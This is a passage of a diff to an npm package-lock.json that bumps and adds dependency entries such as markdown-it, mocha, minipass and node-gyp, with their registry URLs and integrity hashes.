"sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", "dev": true, "requires": { - "chalk": "^4.1.0", - "is-unicode-supported": "^0.1.0" + "tslib": "^2.0.3" } }, "lru-cache": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, "requires": { "yallist": "^4.0.0" } }, + "lru-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz", + "integrity": "sha512-BpdYkt9EvGl8OfWHDQPISVpcl5xZthb+XPsbELj5AQXxIC8IriDZIQYjBJPEm5rS420sjZ0TLEzRcq5KdBhYrQ==", + "dev": true, + "requires": { + "es5-ext": "~0.10.2" + } + }, + "make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "requires": { + "semver": "^7.5.3" + } + }, + "make-fetch-happen": { + "version": "10.2.1", + "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-10.2.1.tgz", + "integrity": "sha512-NgOPbRiaQM10DYXvN3/hhGVI2M5MtITFryzBGxHM5p4wnFxsVCbxkrBrDsk+EZ5OB4jEOT7AjDxtdF+KVEFT7w==", + "dev": true, + "requires": { + "agentkeepalive": "^4.2.1", + "cacache": "^16.1.0", + "http-cache-semantics": "^4.1.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.0", + "is-lambda": "^1.0.1", + "lru-cache": "^7.7.1", + "minipass": "^3.1.6", + "minipass-collect": "^1.0.2", + "minipass-fetch": "^2.0.3", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "negotiator": "^0.6.3", + "promise-retry": "^2.0.1", + "socks-proxy-agent": "^7.0.0", + "ssri": "^9.0.0" + }, + "dependencies": { + "agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "requires": { + "debug": "4" + } + }, + "http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dev": true, + "requires": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + } + }, + "https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "requires": { + "agent-base": "6", + "debug": "4" + } + }, + "lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "dev": true + }, + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, "markdown-it": { - "version": "12.3.2", - "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-12.3.2.tgz", - "integrity": "sha512-TchMembfxfNVpHkbtriWltGWc+m3xszaRD0CZup7GFFhzIgQqxIfn3eGj1yZpfuflzPvfkt611B2Q/Bsk1YnGg==", + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-14.1.0.tgz", + "integrity": "sha512-a54IwgWPaeBCAAsv13YgmALOF1elABB08FxO9i+r4VFk5Vl4pKokRPeX8u5TCgSsPi6ec1otfLjdOpVcgbpshg==", "dev": true, "requires": { "argparse": "^2.0.1", - "entities": "~2.1.0", - "linkify-it": "^3.0.1", - "mdurl": "^1.0.1", - "uc.micro": "^1.0.5" + "entities": "^4.4.0", + "linkify-it": "^5.0.0", + "mdurl": "^2.0.0", + "punycode.js": "^2.3.1", + "uc.micro": "^2.1.0" }, "dependencies": { "entities": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz", - "integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w==", + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", "dev": true } } }, + "math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "dev": true + }, + "mdn-data": { + "version": "2.12.2", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.12.2.tgz", + "integrity": "sha512-IEn+pegP1aManZuckezWCO+XZQDplx1366JoVhTpMpBB1sPey/SbveZQUosKiKiGYjg1wH4pMlNgXbCiYgihQA==", + "dev": true + }, "mdurl": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", - "integrity": "sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-2.0.0.tgz", + "integrity": "sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==", + "dev": true + }, + "memoizee": { + "version": "0.4.17", + "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.17.tgz", + "integrity": "sha512-DGqD7Hjpi/1or4F/aYAspXKNm5Yili0QDAFAY4QYvpqpgiY6+1jOfqpmByzjxbWd/T9mChbCArXAbDAsTm5oXA==", + "dev": true, + "requires": { + "d": "^1.0.2", + "es5-ext": "^0.10.64", + "es6-weak-map": "^2.0.3", + "event-emitter": "^0.3.5", + "is-promise": "^2.2.2", + "lru-queue": "^0.1.0", + "next-tick": "^1.1.0", + "timers-ext": "^0.1.7" + } + }, + "meow": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-14.0.0.tgz", + "integrity": "sha512-JhC3R1f6dbspVtmF3vKjAWz1EVIvwFrGGPLSdU6rK79xBwHWTuHoLnRX/t1/zHS1Ch1Y2UtIrih7DAHuH9JFJA==", "dev": true }, "merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", - "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==" + }, + "microbuffer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/microbuffer/-/microbuffer-1.0.0.tgz", + "integrity": "sha512-O/SUXauVN4x6RaEJFqSPcXNtLFL+QzJHKZlyDVYFwcDDRVca3Fa/37QXXC+4zAGGa4YhHrHxKXuuHvLDIQECtA==", "dev": true }, "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" + "braces": "^3.0.3", + "picomatch": "^2.3.1" } }, "mime": { @@ -5624,16 +17817,39 @@ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", "dev": true }, - "mimic-response": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-2.1.0.tgz", - "integrity": "sha512-wXqjST+SLt7R009ySCglWBCFpjUygmCIfD790/kVbiGmUgfYGuB14PiTd5DwVxSV4NcYHjzMkoj5LjQZwTQLEA==", + "mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true + }, + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "requires": { + "mime-db": "1.52.0" + } + }, + "mimic-function": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz", + "integrity": "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==", "dev": true }, + "mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true, + "optional": true + }, "minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, "requires": { "brace-expansion": "^1.1.7" } @@ -5644,57 +17860,228 @@ "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", "dev": true }, - "mkdirp": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", - "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==" + }, + "minipass-collect": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", + "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", + "dev": true, + "requires": { + "minipass": "^3.0.0" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, + "minipass-fetch": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-2.1.2.tgz", + "integrity": "sha512-LT49Zi2/WMROHYoqGgdlQIZh8mLPZmOrN2NdJjMXxYe4nkN6FUyuPuOAOedNJDrx0IRGg9+4guZewtp8hE6TxA==", + "dev": true, + "requires": { + "encoding": "^0.1.13", + "minipass": "^3.1.6", + "minipass-sized": "^1.0.3", + "minizlib": "^2.1.2" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, + "minipass-flush": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", + "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==", + "dev": true, + "requires": { + "minipass": "^3.0.0" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, + "minipass-pipeline": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", + "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", + "dev": true, + "requires": { + "minipass": "^3.0.0" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, + "minipass-sized": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", + "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", + "dev": true, + "requires": { + "minipass": "^3.0.0" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, + "minizlib": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", + "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", "dev": true, "requires": { - "minimist": "^1.2.5" + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + } } }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true + }, "mkdirp-classic": { "version": "0.5.3", "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", - "dev": true + "dev": true, + "optional": true }, "mocha": { - "version": "9.2.0", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-9.2.0.tgz", - "integrity": "sha512-kNn7E8g2SzVcq0a77dkphPsDSN7P+iYkqE0ZsGCYWRsoiKjOt+NvXfaagik8vuDa6W5Zw3qxe8Jfpt5qKf+6/Q==", - "dev": true, - "requires": { - "@ungap/promise-all-settled": "1.1.2", - "ansi-colors": "4.1.1", - "browser-stdout": "1.3.1", - "chokidar": "3.5.3", - "debug": "4.3.3", - "diff": "5.0.0", - "escape-string-regexp": "4.0.0", - "find-up": "5.0.0", - "glob": "7.2.0", - "growl": "1.10.5", - "he": "1.2.0", - "js-yaml": "4.1.0", - "log-symbols": "4.1.0", - "minimatch": "3.0.4", - "ms": "2.1.3", - "nanoid": "3.2.0", - "serialize-javascript": "6.0.0", - "strip-json-comments": "3.1.1", - "supports-color": "8.1.1", - "which": "2.0.2", - "workerpool": "6.2.0", - "yargs": "16.2.0", - "yargs-parser": "20.2.4", - "yargs-unparser": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "version": "11.7.5", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-11.7.5.tgz", + "integrity": "sha512-mTT6RgopEYABzXWFx+GcJ+ZQ32kp4fMf0xvpZIIfSq9Z8lC/++MtcCnQ9t5FP2veYEP95FIYSvW+U9fV4xrlig==", + "dev": true, + "requires": { + "browser-stdout": "^1.3.1", + "chokidar": "^4.0.1", + "debug": "^4.3.5", + "diff": "^7.0.0", + "escape-string-regexp": "^4.0.0", + "find-up": "^5.0.0", + "glob": "^10.4.5", + "he": "^1.2.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "log-symbols": "^4.1.0", + "minimatch": "^9.0.5", + "ms": "^2.1.3", + "picocolors": "^1.1.1", + "serialize-javascript": "^6.0.2", + "strip-json-comments": "^3.1.1", + "supports-color": "^8.1.1", + "workerpool": "^9.2.0", + "yargs": "^17.7.2", + "yargs-parser": "^21.1.1", + "yargs-unparser": "^2.0.0" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "chokidar": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz", + "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", + "dev": true, + "requires": { + "readdirp": "^4.0.1" + } + }, + "diff": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", + "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "dev": true + }, + "glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "requires": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + } + }, + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + }, + "readdirp": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz", + "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", "dev": true }, "supports-color": { @@ -5703,80 +18090,205 @@ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "dev": true, "requires": { - "has-flag": "^4.0.0" + "has-flag": "^4.0.0" + } + } + } + }, + "mock-fs": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/mock-fs/-/mock-fs-5.5.0.tgz", + "integrity": "sha512-d/P1M/RacgM3dB0sJ8rjeRNXxtapkPCUnMGmIN0ixJ16F/E4GUZCvWcSGfWGz8eaXYvn1s9baUwNjI4LOPEjiA==", + "dev": true + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "mute-stream": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", + "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", + "dev": true + }, + "nan": { + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz", + "integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==", + "dev": true + }, + "nano-spawn": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/nano-spawn/-/nano-spawn-2.0.0.tgz", + "integrity": "sha512-tacvGzUY5o2D8CBh2rrwxyNojUsZNU2zjNTzKQrkgGJQTbGAfArVWXSKMBokBeeg6C7OLRGUEyoFlYbfeWQIqw==", + "dev": true + }, + "napi-build-utils": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz", + "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==", + "dev": true, + "optional": true + }, + "natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", + "dev": true + }, + "neatequal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/neatequal/-/neatequal-1.0.0.tgz", + "integrity": "sha512-sVt5awO4a4w24QmAthdrCPiVRW3naB8FGLdyadin01BH+6BzNPEBwGrpwCczQvPlULS6uXTItTe1PJ5P0kYm7A==", + "dev": true, + "requires": { + "varstream": "^0.3.2" + } + }, + "negotiator": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", + "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "dev": true + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "next-tick": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", + "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==", + "dev": true + }, + "no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "requires": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node-abi": { + "version": "3.45.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.45.0.tgz", + "integrity": "sha512-iwXuFrMAcFVi/ZoZiqq8BzAdsLw9kxDfTC0HMyjXfSL/6CSDAGD5UmR7azrAgWV1zKYq7dUUMj4owusBWKLsiQ==", + "dev": true, + "optional": true, + "requires": { + "semver": "^7.3.5" + } + }, + "node-addon-api": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-4.3.0.tgz", + "integrity": "sha512-73sE9+3UaLYYFmDsFZnqCInzPyh3MqIwZO9cw58yIqAZhONrrabrYyYe3TuIqtIiOuTXVhsGau8hcrhhwSsDIQ==", + "dev": true, + "optional": true + }, + "node-gyp": { + "version": "9.4.1", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-9.4.1.tgz", + "integrity": "sha512-OQkWKbjQKbGkMf/xqI1jjy3oCTgMKJac58G2+bjZb3fza6gW2YrCSdMQYaoTb70crvE//Gngr4f0AgVHmqHvBQ==", + "dev": true, + "requires": { + "env-paths": "^2.2.0", + "exponential-backoff": "^3.1.1", + "glob": "^7.1.4", + "graceful-fs": "^4.2.6", + "make-fetch-happen": "^10.0.3", + "nopt": "^6.0.0", + "npmlog": "^6.0.0", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "tar": "^6.1.2", + "which": "^2.0.2" + }, + "dependencies": { + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } } } }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": 